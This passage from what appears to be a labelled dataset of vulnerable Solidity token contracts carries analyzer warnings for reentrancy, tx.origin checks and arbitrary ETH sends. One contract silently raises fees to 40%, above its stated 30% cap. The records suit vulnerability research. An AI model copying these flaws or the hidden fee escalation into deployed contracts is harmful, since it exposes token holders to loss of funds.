PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: ae3649f\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: ae3649f\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: aaed044\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract Token8 is ERC20, Ownable {\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b231296): Token8.uniswapV2Pair should be immutable \n\t// Recommendation for b231296: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 2fe8a1b): Token8._name shadows ERC20._name\n\t// Recommendation for 2fe8a1b: Remove the state variable shadowing.\n string private constant _name = \"Token8\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: f8560c5): Token8._symbol shadows ERC20._symbol\n\t// Recommendation for f8560c5: Remove the state variable shadowing.\n string private constant _symbol = \"TKN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 990b54b): Token8.initialTotalSupply should be constant \n\t// Recommendation for 990b54b: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 100_000_000 * 1e18;\n\n uint256 public maxTransactionAmount = initialTotalSupply / 100;\n\n uint256 public maxWallet = initialTotalSupply / 100;\n\n uint256 public swapTokensAtAmount = 5000 * 1e18;\n\n uint256 private blockStart;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3587fd7): Token8.blockAdd should be constant \n\t// Recommendation for 3587fd7: Add the 'constant' attribute to state variables that never change.\n uint256 private blockAdd;\n\n uint256 private blockSnipe;\n\n bool public tradingOpen = false;\n\n bool public swapEnabled = false;\n\n bool public limitsInEffect = true;\n\n mapping(uint256 => uint256) private swapInBlock;\n\n uint256 public BuyFee = 5;\n\n uint256 public SellFee = 5;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 441c1f7): Token8.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 441c1f7: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 441c1f7\n marketingWallet = payable(wallet);\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(_msgSender(), (initialTotalSupply * 100) / 100);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e56f6ca): Missing events for critical arithmetic parameters.\n\t// Recommendation for e56f6ca: Emit an event for critical parameter changes.\n function openTrading(\n uint256 openingFee,\n uint256 maxOpen,\n uint256 _blocksnipe\n ) external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// events-maths | ID: e56f6ca\n BuyFee = openingFee;\n\n\t\t// events-maths | ID: e56f6ca\n SellFee = openingFee;\n\n\t\t// events-maths | ID: e56f6ca\n maxTransactionAmount = initialTotalSupply / maxOpen;\n\n\t\t// events-maths | ID: e56f6ca\n maxWallet = initialTotalSupply / maxOpen;\n\n\t\t// events-maths | ID: e56f6ca\n blockSnipe = _blocksnipe;\n\n blockStart = block.number;\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aaed044): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aaed044: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ae3649f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ae3649f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n uint256 blockNum = block.number;\n\n if (limitsInEffect) {\n if (blockNum > (blockStart + blockSnipe)) {\n BuyFee = 40;\n\n SellFee = 40;\n\n maxTransactionAmount = initialTotalSupply / 200;\n\n maxWallet = initialTotalSupply / 100;\n }\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to] &&\n (swapInBlock[blockNum] < 3)\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: aaed044\n\t\t\t// reentrancy-no-eth | ID: ae3649f\n swapBack();\n\n\t\t\t// reentrancy-no-eth | ID: ae3649f\n ++swapInBlock[blockNum];\n\n\t\t\t// reentrancy-no-eth | ID: ae3649f\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = (amount * SellFee) / 100;\n } else {\n fees = (amount * BuyFee) / 100;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: aaed044\n\t\t\t\t// reentrancy-no-eth | ID: ae3649f\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: aaed044\n\t\t// reentrancy-no-eth | ID: ae3649f\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 12dcac8): Token8.swapTokensForEth(uint256) has external calls inside a loop _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,marketingWallet,block.timestamp)\n\t// Recommendation for 12dcac8: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7c1b073): Token8.swapTokensForEth(uint256) has external calls inside a loop path[1] = _uniswapV2Router.WETH()\n\t// Recommendation for 7c1b073: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n\t\t// calls-loop | ID: 7c1b073\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: aaed044\n\t\t// calls-loop | ID: 12dcac8\n\t\t// reentrancy-no-eth | ID: ae3649f\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c3e65a4): Token8.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for c3e65a4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == marketingWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: c3e65a4\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function clearStuckTokens(uint256 amount) external {\n require(_msgSender() == marketingWallet);\n\n swapTokensForEth(amount * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: df1be09): Token8.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for df1be09: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 30 && _sellFee <= 30, \"Fees cannot exceed 30%\");\n\n\t\t// events-maths | ID: df1be09\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: df1be09\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fc5d296): Token8.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for fc5d296: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: fc5d296\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 38fc8fa): Token8.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for 38fc8fa: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: 38fc8fa\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function airdrop(\n address[] calldata addresses,\n uint256[] calldata amounts\n ) external {\n require(addresses.length > 0 && amounts.length == addresses.length);\n\n address from = msg.sender;\n\n for (uint i = 0; i < addresses.length; i++) {\n _transfer(from, addresses[i], amounts[i] * (10 ** 18));\n }\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 100) {\n contractBalance = swapTokensAtAmount * 100;\n }\n\n tokensToSwap = contractBalance;\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10610.sol",
"size_bytes": 26126,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TEE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e5609c): TEE._taxWallet should be immutable \n\t// Recommendation for 2e5609c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 349c748): TEE._initialBuyTax should be constant \n\t// Recommendation for 349c748: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74191e6): TEE._initialSellTax should be constant \n\t// Recommendation for 74191e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 96de0b9): TEE._reduceBuyTaxAt should be constant \n\t// Recommendation for 96de0b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ca7868): TEE._reduceSellTaxAt should be constant \n\t// Recommendation for 9ca7868: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41f762c): TEE._preventSwapBefore should be constant \n\t// Recommendation for 41f762c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TEE\";\n\n string private constant _symbol = unicode\"TEE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14f53b6): TEE._taxSwapThreshold should be constant \n\t// Recommendation for 14f53b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64976ee): TEE._maxTaxSwap should be constant \n\t// Recommendation for 64976ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4479aed): TEE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4479aed: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9d6b731): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9d6b731: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c87c5b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c87c5b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9d6b731\n\t\t// reentrancy-benign | ID: c87c5b4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9d6b731\n\t\t// reentrancy-benign | ID: c87c5b4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1890707): TEE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1890707: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c87c5b4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9d6b731\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bbe34e9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bbe34e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: fc845c2): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for fc845c2: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d3fdf44): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d3fdf44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: fc845c2\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bbe34e9\n\t\t\t\t// reentrancy-eth | ID: d3fdf44\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) 